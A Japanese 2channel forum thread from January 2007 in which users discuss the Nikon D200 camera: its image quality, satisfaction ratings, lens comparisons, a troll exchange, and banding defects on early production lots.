ゴミ取りなんかいらねぇ！
画質で勝負！

437 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:16:55 ID:wlFddN+00

そんなにいろんな機能付いたっけ？

438 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:18:33 ID:AtEzhRVK0

操作系が洗練されてないのは確かだけどな

439 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:40:32 ID:fk1oPP/I0

D80とかわらない画質な件について

440 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:42:53 ID:VJv0fmL70

>>437

内蔵ストロボを主灯にして行えるCLSとか･･･。

441 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:43:00 ID:5fJuL1SN0

それって当たりな件について

442 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:46:12 ID:fk1oPP/I0

>>441がどれに対してのﾚｽなのか解らない件

443 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:53:26 ID:fk1oPP/I0

D200は駄作でOK
D40系の新しい流れに期待
てかフルサイズまだぁ？

444 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:55:20 ID:5fJuL1SN0

441は439へのレスである件について

445 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:01:41 ID:Y6MKcoeB0

同じじゃまずいのかい？
後出しの方が良いのは常識だけど。

446 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:10:37 ID:Yb2433UA0

あ？
値段と画質の関係について・・・

447 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:16:55 ID:qEWNJGAs0

まぁ、デジ一眼なんてまだ発展途上なんだからさ
D200はMFレンズ資産も活かせるし、画質もそこそこだから
現時点では満足してるけどね

448 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:21:30 ID:925GKtBM0

むしろ、機種毎に画質が全然違う事の方が問題かと。
D200メインでD80をサブに使う場合なんて、画質が同じだからこそ使いやすいっしょ？
キャノンを悪く言うつもりは無いけど、機種毎に画質どころか画角まで変わるんじゃ
ユーザーは大変だなあと思う。メーカーのオナニーに無理矢理付き合わされてる感じ。

449 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:22:14 ID:nuLN6hXZ0

>>93
う～ん良い写りだ。
レンズはニッコール？

450 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:23:29 ID:nuLN6hXZ0

>>449は誤爆った・・・orz

451 ：445：2007/01/05(金) 00:25:15 ID:xIpmGw870

同じ系統のCCD使ってるんだから似通うのは当然だろう？
何？値段って。
価格が変われば自動的に画質も上がるのかい？
Ai連動環とかその他コストの変わる部分はあるんですが。
誰もが唸る画質を備えたD40クラスのチープなボディってのも
面白そうだけどね。

452 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:48:02 ID:CsbRTAiq0

ていうか、銀塩ではどんなカメラでも
フォーマットが同じなら画質は同じだった．
いずれはデジカメもそうなるだろう。

453 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:51:36 ID:Yb2433UA0

＞機種毎に画質どころか画角まで変わる
そうだけど
ニコソももうすぐフルサ（ry

454 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 00:52:04 ID:nuLN6hXZ0

>>452
正確には、レンズとフィルムと撮影条件で決まった・・・かな？

455 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 01:07:17 ID:OQpeNGZ3O

>>448
自分はD200+VR70ｰ200/2.8がメインで、
D50+VR200ｰ400がサブです。
予備レンズがVR18ｰ200

VRレンズに金かけすぎて、サブ機に費やせる金がない(ﾉ_･｡)
スポーツ撮りなんで、遠距離と近距離で試合に２台を忙しく使いわけるんだけど、
試合場で新聞社さんから
D50？ﾌﾟｹﾞﾗ
みたいな目で見られて恥ずかしい。
JPG撮って出しだけど、実は色の違いは意外と気にならないもんだよ。
スポーツだから、色うんぬんより、大事なシーンを押さえてりゃＯＫだし、
写真も切手大にしか使われないことあるから
色は無問題。

456 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 09:19:05 ID:hVmNZSul0

>>455
新聞屋はカメラオペレータ化してるからな。単に連写するだけ。
D50ならシャッタチャンスに一発勝負。
腕が試されるカメラでの撮影だから誇ればいい。
ただD50はレリーズラグが結構ありそうだし、レリーズラグの違う
ボディを複数使い合いまわすのは難しいと思うが...

457 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 11:49:45 ID:Yb2433UA0

>>448
＞メーカーのオナニー
そう？発展途上だから仕方ないでそ
てかおおまかに古サイズとAPSの2系統でいいんでないの？
ナイコンだってフルサイズが出たら画角が・・・ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

458 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 11:55:53 ID:AIVuzRfO0

レリーズラグの一番良いのは、Ｄ２系？

459 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 12:00:25 ID:WxSOSHTd0

>>458
１D系が一番早くて正確と専らの評判だよ

460 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 12:07:37 ID:EGDvW7CkO

皆さんD200買って満足してますか？
満足度は何点くらいですか？

461 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 12:22:40 ID:aqNEMFza0

D200 の満足度？
今のところ、100点ね、将来は変わるだろうけど。

>>448
D200, K10D, EOS 20D を使っているけど、RAW撮りしかしないから
シルキーでちょちょっと弄るだけなので何の不都合もないですよ。
どれも良いカメラだし。

462 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 15:00:15 ID:oPOFN0c6O

満足度は70点かな
機械部分のツクリとMFレンズが違和感無く使える点はほぼ満足
次期モデルでは画質をがんばって欲しいね

463 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 15:02:47 ID:WTgZrtk90

画質、と漠然と言われてもなぁ。
高感度が使えないのは物理的に無理があるわけだし、
フルサイズにでもなって定価80万円になれば満足ってことになる。

464 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 15:21:34 ID:eFSkGNxm0

電池の持ち！以上！

しかしＤ200は総じて満足度高い。
今のトコ、漏れの中でサイコーのカメラ。

465 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 15:54:57 ID:tEka82Xs0

そう？30Dいいよ

466 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 15:55:28 ID:wpCx2E1a0

30Dもいいかもしれないが、ニッコールレンズ付かないしね。

467 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 16:13:34 ID:tEka82Xs0

つ：アダプタ

468 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 16:14:30 ID:WTgZrtk90

へぇ、最近はAFが効くアダプターも出たんだ？
どこの製品？
それ買うよ。

469 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 16:37:06 ID:ZAkdbYzs0

AFおｋとは書いていない。
アダプタと、だけだ。
もっとも、イオス５Ｄにアダプタかもしれん。

470 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 16:38:19 ID:nuLN6hXZ0

ネタにマジレスでスレ違いもあれだが、
AFは効かないけど、フォーカスエイドが効くアダプタは有るみたいだね。
ちょっと怪しいけど。

471 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 17:10:23 ID:Tz0Ox1haO

95点かな？
バッテリーの持ちとISO1600の高感度ノイズ以外は満足！

俺は某社のザラザラなファインダー見ると萎えるけど…

472 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 17:10:29 ID:tEka82Xs0

ナイコンにカノンが付かない件

473 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 17:26:01 ID:I5AJshyhO

アダプタはAFが効かない以前に絞り込み測光になるのが問題。
開放のポートレートならともかく絞り込む風景なんかだと
鬱陶しくて使う気がしなくなるよ。

474 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 18:45:57 ID:WxSOSHTd0

まあでもレンズ性能的にいえばEFの前ではニッコールなんて赤子みたいなもんだからなぁ。
ニコンファンとしては悔しくてしょうがないよ。

475 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 18:50:56 ID:5bPJ9rdG0

天邪鬼登場

476 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 19:17:43 ID:xXIZX0BK0

今日、ペンタックスのゴムぺったんをネットで予約した。

誰かD200で使ってる人居る？

477 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 19:26:22 ID:Vty3OPQE0

レンズ性能でＥＦがニッコールより上だと思っているやつがいるとは・・
シグマにも負けてるのがＥＦ。

478 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 19:31:49 ID:nuLN6hXZ0

>>476
D200では、まだ使っていない（と言うかゴミが目立たない）けど、
D70では使ったよ。かなり良く取れた。

479 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 19:49:32 ID:EZK/DaOr0

D200は７５点だな。
百点を取るには、
ゴミ取り、好感度が必要だ。
バテリは補充できるから、いいよ、

480 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 19:50:15 ID:CsbRTAiq0

EFは望遠はいいけどそれ以外は．．．．．．．

481 ：名無CCDさん＠画素いっぱい：2007/01/05(金) 20:01:55 ID:WxSOSHTd0

ニコンは電池のもちはいいけど（D200は除く）、それ以外は・・・・・

482 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 00:38:01 ID:FcXw4yCp0

こんにちは
昨日D200を買いました、D70を使っていたんですが
違いに驚いています。

解らないことがありましたら、色々と教えてください<(_ _)>

483 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 01:14:48 ID:qIyEQGYS0

>>482
オメ！

484 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 01:20:03 ID:id2XSeg70

>>482
オメ！(ﾟ∀ﾟ)

485 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 02:45:48 ID:iPQs5BIl0

コ！(ﾟ∀ﾟ)

486 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 04:43:00 ID:vzso0L1p0

＞解らないことがありましたら、色々と教えてください<(_ _)>

日本語が変

487 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 04:48:30 ID:lJqA4AH+0

左肩の連射とタイマーのダイヤルが何であんな糞設計なんだ？

488 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 06:57:25 ID:L+o33Ltu0

今年はD200X出るかな？

高感度で800迄常用できるヤツ。
それと、解像力でD80に差をつけてほしい。
あと、1300万画素にも対応してほしい。
できれば、ゴミ取りもお願い。

以上

489 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 07:14:00 ID:qwdHK/PZO

おれはD200H 希望
800万画素で速写性能上げたやつ

490 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 07:23:46 ID:rn8xlyro0

D200　1年ぐらい使っているけど満足度からいったら90点かな。
10点分はjpg撮って出しがRAWに比べてかなり画質的に劣る点。
キヤノンはこの差が小さい。　これがDIGIC効果なんだろうけど、
ちょっと悔しい。
RAWなら　30Dクラスより上だと思うんだけどね。

491 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 08:31:57 ID:BygMC5O30

D200で不満は、
高輝度蛍光灯＝例えば、ホール、たいくかん（⇔なぜだか変換できん）の水銀灯の
色だしがはなはだ変、もしくはRAWの後処理面倒。８００以上しか切れないで
定常光だと正直欝になる。

492 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 09:28:05 ID:fCIcxyVQ0

>>489
それ魅力

493 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 10:31:08 ID:M3mPWlly0

>>491
たいいくかん　なら変換できるっしょ

494 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 12:10:13 ID:0su5zwUu0

>>493
釣られるなって。

AFの動体追従性が、もうちょっと良くなってくれると嬉しい。
D2Xなんかはファームアップで良くなったとか言われてるけど、D200でも良くならんかな？？

495 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 12:22:29 ID:k31snbbu0

>>459
> >>458
> １D系が一番早くて正確と専らの評判だよ

嘘つくな。それはD200とほぼ同等。

496 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 12:47:37 ID:AVY09OZ10

初めてこのスレ来ました。古い35－70　Ｆ2.8Ｄレンズでちょぼちょぼ撮っています。
銀塩からＤ200移行して半年　やっとデジにもなれてきました。
ＡＦ－Ｓ28－70Ｆ2.8Ｄ　欲しいけれど先立つものが・・・・・

497 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 13:04:32 ID:L+o33Ltu0

EOS 5Dの解像力とD200とでは、やっぱ比較にならないのだろうか？
（ボケ以外で）

498 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 13:07:05 ID:lJqA4AH+0

ならん

499 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 13:10:40 ID:id2XSeg70

>>497
A4程度のプリントサイズではわからないんじゃない？
俺はKGサイズメインだけど、D200とD40の600万画素の差でも違いがわからん。

500 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 13:14:32 ID:uHjUpBuT0

おいおいD200とD40じゃ歴然とした差が出るぞ？

501 ：499：2007/01/06(土) 13:21:13 ID:id2XSeg70

>>500
そか？
両方持ってるんで、実際に同じ被写体をRAW撮りしてNXで仕上がり設定も同じく揃えて現像したのを
プリントした比較の印象を書いたんだが・・
真面目に追い込んで比較してみるか。

502 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 13:25:46 ID:uHjUpBuT0

D40のカタログの片面全面プリントとかみるとディテール無いなとか思うよ。

503 ：499：2007/01/06(土) 13:28:12 ID:id2XSeg70

A4で比べてみるか・・・・・・

インク勿体ない　　ﾔﾀﾞ　orz　

504 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 16:25:15 ID:BygMC5O30

D40　ノイズ耐性向上・キヤノン風発色。でも白鳶はしちゃいますね。
D200　６４０以上でのノイズやデフォルトAWB色傾向？？それ以外が
すばらしいだけにD200s（２００ｘ）に非常に期待。
だが、売値が５万は最低でも上がるのが欝。

505 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 16:29:39 ID:sStgThbh0

D200Fの話はどうなったの？

506 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 17:35:30 ID:SA1T7Ced0

JPEGのEXIF読んで日付別にリネームして振り分けるソフト（picmvとか）よくあるけど、
そういうので.nefに対応してるのってある？
picmvほぼ理想に近いんだけど、.nefはタイムスタンプでリネームしちゃうんだよな～

507 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 21:47:37 ID:eRJdm6G30

>>496
先立つものが無ければ、後立てばいいのですよ。

508 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 21:51:03 ID:kejbalkQ0

先立つ不幸をお許しください

509 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 22:47:03 ID:id2XSeg70

>>496
誘導

イヤッッホォォォオオォオウ！分割払い！２回払い
http://hobby9.2ch.net/test/read.cgi/dcamera/1143901215/

510 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 02:42:19 ID:ux5fN3hQ0

たった1年前なんだが出た時点でD200古杉
D80系ボデイで造り直せや早く

511 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 02:47:12 ID:j3CSqieS0

>>510
D80にすれば良いだけじゃないの？

512 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 02:53:08 ID:i4T8jbkR0

釣りなんだろうけど
D80ユーザな俺は、ボディーはD200が圧勝って言うか
別クラスの超えられない壁があると思う。
D200のボディーは、他メーカ含めて比較しても
かなりの完成度だと思う。

513 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 03:24:59 ID:ux5fN3hQ0

連射のダイヤルは何よあの糞
マルチセレクタで選択画像削除する時なんだよあれあちこち飛んじゃうしな
画像1枚ずつ削除の遅いったらありゃしない
MF/AFのスイッチ何であんなに操作性悪くてあんなに小さい必要あるんだ？指先が痛くなるよ

514 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 03:26:50 ID:ux5fN3hQ0

たった1年前の製品とは思えない古さだよなおまえら

515 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 07:39:02 ID:NE2Irc5N0

店頭展示品では一年間いじくり回してもその程度の感想しかもてないのだろう。

516 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 08:48:38 ID:ttTwVNBBO

>>513
あほかw

517 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 09:15:30 ID:oRz84GOU0

>>513
「人間」って、どんな物でも数ヶ月も使ってれば慣れてくる順応性のある生き物だよ。

518 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 09:20:01 ID:BEarJtu40

ダイヤルが小さければ、
それに合わせて、指も小さくすれば良いだけの話。

519 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 09:39:07 ID:oRz84GOU0

ペンタックスのぺったんクリーナー、今届いた。
早速使ってみたが、良い感じよ。
しっかり取れる。

520 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 10:03:00 ID:dyRFbtDf0

>>510 >>513-514の必死さに涙

521 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 10:08:43 ID:GmRfE1tq0

>>510 >>513-514の順応性の無さと不器用さに涙

522 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 11:22:05 ID:NE2Irc5N0

AiレンズからＧレンズに付け替えるとＡＦ切り替えレバーがいつの間にか動いていて戸惑う事はあるな。

523 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 13:44:19 ID:E+oxbGqu0

ホワイトバランスの画像洗濯とかの糞さは見事だよなおまえら
たった1年前の製品だぜおい

524 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 13:56:33 ID:E+oxbGqu0

>>517-518
>>520-521
不具合に近い箇所をも我慢して満足してる二個爺ですか？
てかかなり古い設計のD200をやっと1年前に出しただけでそナイコン
もっと「現代的」なD200次機を出さないとナイコンの恥だって
E950もD50もS10も持ってるfanだから言ってるのにな

525 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:02:14 ID:GmRfE1tq0

>>524
金無いから買えないって素直に言えよｗ

526 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:13:56 ID:2JiTwiW/O

>>523-524
つD40レンズキット

527 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:16:04 ID:E+oxbGqu0

>>525
その貧弱な発想はやはり二個爺で？
持ってるよｗ

528 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:22:28 ID:ETHwtd6/0

>>527
画像うｐ

529 ：おらよ：2007/01/07(日) 14:24:15 ID:E+oxbGqu0

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070107142338.jpg

530 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:26:57 ID:GmRfE1tq0

E950って何よ？いつのカメラだ
おまえこそ爺だろ　スイバルは爺に人気あるようだしな

グダグダ言ってないでD200後継が出たらその時また買えばいい問題。
あ、金無いから買えないのか

531 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:31:00 ID:E+oxbGqu0

>>530
おまえがナイコンfanじゃないことは解った

＞D200後継が出たら
だから早く出すべきだと言ってる
あ、その貧弱な発 (ry

532 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:33:15 ID:E+oxbGqu0

で、俺が指摘した「不具合」なところに
具体的な反論あったかな？

533 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:37:49 ID:GmRfE1tq0

だからそれはおまえ自信の問題であって不具合ではない

気に入らないならとっととそのカメラ返して来いよ・・・・レンタル屋にｗ
うｐもしたら満足だろ

534 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:38:29 ID:BEarJtu40

普通、使っているなら、ストラップはつけるだろ。
それに、この固体、使ってないのではないか。

どこかの倉庫にもぐりこんで、撮影したんだろう。

535 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:39:52 ID:GmRfE1tq0

バッテリーも入ってないようだよ？ｗ
液晶表示一切無いし

536 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:52:39 ID:E+oxbGqu0

まいったね、まぁつられてみます。おまえら首からぶら下げてるの？(ﾌﾟﾂ
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070107145036.jpg

537 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:55:51 ID:BEarJtu40

>>535
ま、松の内から、ご苦労さま、というところでしょうかね。
相手にしているだけ、時間の無駄で砂。

538 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:56:30 ID:GmRfE1tq0

そうね　もう飽きたし

539 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 14:59:19 ID:E+oxbGqu0

ほんと頭の硬さが伝わってくる人たちですね
ゴクロー様ですた

540 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 15:07:42 ID:Er6M5CW60

E+oxbGqu0 は chizu369 と同類
ttp://ex9.2ch.net/test/read.cgi/net/1167750209/

541 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 15:08:44 ID:NE2Irc5N0

ではどうすれに改変すると(君にとって)使いやすくなるのか、
具体的に述べて見なさい。

542 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 15:12:06 ID:E+oxbGqu0

てか二役でそ？

543 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 15:17:14 ID:oJAqL890Q

>>542
こんにちは。

544 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 19:06:27 ID:zQJ6/T0a0

>>536
ノートPCのトラックパッドなんか埃だらけだし
右手奥もゴチャゴチャしてるし一度部屋を
清掃＆整理整頓したらどうですか？

545 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 21:20:02 ID:tixtjdC30

トラストテクノロジの互換バッテリーってどうなんでしょう？

ttp://www.jtt.ne.jp/shop/product/mybathq/nikon.html

546 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 21:57:23 ID:x32qDyDC0

>>536
シグマかよｗ

547 ：名無CCDさん＠画素いっぱい：2007/01/07(日) 22:04:09 ID:oA6WExf10

あのヒモは何だろう・・・

548 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 01:24:39 ID:EoMyO+vO0

目を覆いたくなるクソレンズ・・・orz

【AF-S DX Zoom Nikkor ED 12-24mm F4G IF 】

12mm広角端の描写はF11まで絞っても周辺部に不満が残る。
15mm以上でも周辺部まで鮮明な描写が欲しい場合にはF8以上に絞りたい。
なお、倍率色収差の補正が十分でないためか、各焦点距離で周辺部の建物のラインに鮮明な紫色の色にじみが一線入る。

【AF-S DX Zoom Nikkor ED 17-55mm F2.8G(IF)】

17mm広角端での描写が良くない。
F11まで絞っても周辺部が満足すべき状態にならない。
どうしても信じられず、何度も撮影し直し、また異なるシチュエーションでも撮影してみたが結果は変わらなかった。
35mm判にも対応する従来のAF-S 17-35mm F2.8D(IF)のほうがまだましで、
さらに安価なAF 18-35mm F3.5-4.5D(IF)、そして新しいDX 18-70mm F3.5-4.5G(IF)の広角端のほうが周辺は良い。

【AF-S DX Zoom Nikkor ED 18-70mm F3.5-4.5G(IF)】

全焦点域で中心部の画質の高さにF11まで絞っても周辺部がもうひとつ追いついてこない。

【AF-S Zoom Nikkor ED 17-35mm F2.8D(IF)】

描写性能は期待ほど良くない。
特に広角17mm側ではF11まで絞っても周辺部の甘さがとれず、今ひとつぱっとしない画質である。
35mm側に向かうにつれて良くなるが、大きさや重さ、価格を考えるとこの性能で納得できるかどうか。
私の場合、D2Xでは使わないレンズに分類してしまった。

http://dc.watch.impress.co.jp/cda/special/2005/11/15/2049.html

549 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 01:25:34 ID:EoMyO+vO0

【AF-S　VR　Zoom　Nikkor　ED　24-120mm　F3.5-5.6G(IF)】

特に広角側は旧24-120mmにくらべてかなり性能が落ちていることがわかる。
これにはがっかりだ。望遠側も同等とは言い難い。

【Ai　AF　Nikkor　ED　14mm　F2.8D】　

周辺部の描写が悪く、F11まで絞っても満足できるレベルに達しない。甘いままなのである。
D70では画素数が少ない分周辺部の甘さは少なくなるが、やはりF11まで絞っても完全には解消しない。
A3ノビ程度のサイズでプリントすると、周囲の像の悪さにがっかりすることになる。
私も手元のこのレンズを使って、頭をかかえてしまった。

【Ai　AF　Nikkor　18mm　F2.8D】　

絞り開放では周辺部がやや甘く、周辺減光も目立つ。
絞ると周辺減光は改善するが、周辺部はF11でも少し甘いままである。色にじみも特に端の部分で大きく現れる。

【Ai　AF　Nikkor　20mm　F2.8S】　

今までの14mmや18mmと同様、中心部はともかく周辺部の描写が悪く、いくら絞ってもある程度以上は改善しない。
色にじみもそれなりに出る。

http://dc.watch.impress.co.jp/cda/special/2005/11/16/2643.html

550 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 03:32:41 ID:01YiBjfh0

荒らしに反応するのもなんだが、オイラもニコンのレンズに疑問持つことは多々あるな。
正直最近、観音の濃厚な発色に誘惑されつつある。

551 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 06:53:00 ID:6/etE59Q0

>>550
解像度ならともかく、発色なんて、現像時でどうにでもなるだろ。

552 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 13:24:32 ID:hiQLmPtQ0

そもそも発色がいいというのはT値の悪い粗悪レンズということだからね。
そんな暗いレンズをありがたがってるのを見ると噴き出してしまう。

553 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 15:07:01 ID:+UOr54GG0

609 名前：名無CCDさん＠画素いっぱい[] 投稿日：2007/01/07(日) 21:40:09 ID:MqhgdJs70
１０年くらい前にシグマのレンズを買った。
絞り込んで撮影すると写真の中心がすべてオレンジ色になった。
大事な写真がめちゃくちゃになった。当然、新しいレンズに交換してもらった。
だが、そのレンズも同じだった。
３本目を送ってもらった。それは大丈夫だった。
しかし、大事な写真がめちゃくちゃになったのにシグマはろくに謝罪せずに２本目のレンズを早く送り返せと言ってきた。
腹が立ったのでそのままにしていたら、家に取りに来ると言ってきた。好きにどうぞと言ったら家に取りに来た。
そのとき取りに来た営業に一応文句を言ったら、「うちは安いですからねー。」と開き直り、暗に安物買って文句言うなという態度が見え見えだった。
シグマとは安かろう悪かろうを自社の社員も自覚しているようだった。

554 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 15:19:05 ID:oXlB6jxX0

ニッコールレンズはMTF値だけをみればいいレンズと思いがちだけど解像度だけ高くても駄目なのがなぜ分からないのか不思議だよねｗｗｗ

555 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 16:08:09 ID:+3e1MvbV0

D200操作メニュートロい！コンデジより重いってどういうことだよ！

556 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 18:38:23 ID:z4Bv7DAXO

>>555
ｺﾝﾃﾞｼﾞ使えばいいじゃん

557 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 21:52:37 ID:dRxNuxfYO

カスタム設定固定できる？

558 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 23:40:59 ID:WDMATmnw0

すみません。何回かリトライしている間に、カメラがパソコンを認識
しなくなりました。どうやって回復したらよいのでしょう？
助けて！

559 ：名無CCDさん＠画素いっぱい：2007/01/08(月) 23:45:17 ID:qdls+5H40

CFカードリーダーで吸い出せ

560 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 02:18:18 ID:68b0YOLc0

三脚ネジの黒●は対策品とか聞いたけど
ほんと？

561 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 03:11:46 ID:E7snAgiV0

>>560
価格でそう言う話題になってたけど、どうなんだろね？
俺の初期ロット機は、昨年12月にやっと調整してもらったけど、三脚穴に黒ポチは無いなぁ。

562 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 11:42:47 ID:cmPRBjDq0

あ、本当だ。
俺のはあるな。
ちなみに2033・・・です。
縞々出たことは一回もありません。

563 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 12:37:56 ID:PPd4usAv0

>>562
ファームアップ大丈夫だった？

564 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 12:57:29 ID:cmPRBjDq0

>>563
ファームアップしちゃったよ。
なんだか評判悪かったみたいだけど俺のは別に何も変化なかった気がするが・・・。

565 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 13:58:50 ID:xH6kYRgy0

>>560
>>560

俺のもポチ付いてる
209・・・・です

ところで、MB-D200って取れなくなることが有るらしいけど
予防として、ネジ部にうっすらとグリス塗るってのはどう？

ハミ出さない様にごくうっすらと塗る、シリコングリスなら周辺部への
悪影響も少ないし、場所が場所なだけに内部への侵入も無い
チョット塗るだけで効果は結構あると思うけど。

機械関係の世界では、しっかり締めてられて緩みにくく、かつ外し易くしたい
という場合は、場所によっては塗油脂指定になる事もある。
まぁ構造的欠陥という事も有るんだろうけどさ。
脂塗ってなんで緩みにくくなるのかは
勉強してね。

エネループって持つね結構。

566 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 16:32:54 ID:S/cP5Nmv0

テスト

567 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 17:36:51 ID:S4NRBYwm0

テスト２

568 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 20:44:08 ID:fCo6uqSu0

マジック●あった。うちのも。
NO.201・・・・の初期ロット　昨年1月に調整
（縞々はなくなったが高感度時睫毛多少出る場合はあり）
ファームアップ後も特に変化なし。

569 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 20:58:19 ID:iZJ9+no00

三脚ネジの黒●ってどんなの？写真うｐしてくれまいか。
漏れのは2008・・・だな。（かなり最初期のものか？）
未対策です。高感度でかなりの確率でシマシマでます。

高感度で撮った写真のほとんどがこんなかんじ。
ttp://up.mugitya.com/img/Lv.1_up71337.jpg

570 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 21:20:41 ID:fCo6uqSu0

マジック●こんなのだよ。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070109211835.jpg

571 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 23:13:16 ID:9IDqc0JE0

縞縞ロットで縞と睫に怯えながら写真を撮る、そして家に帰って縞と睫に怯えながら画像チェックｗ
本当にD200ユーザーってアホばっかりだよなｗｗｗ

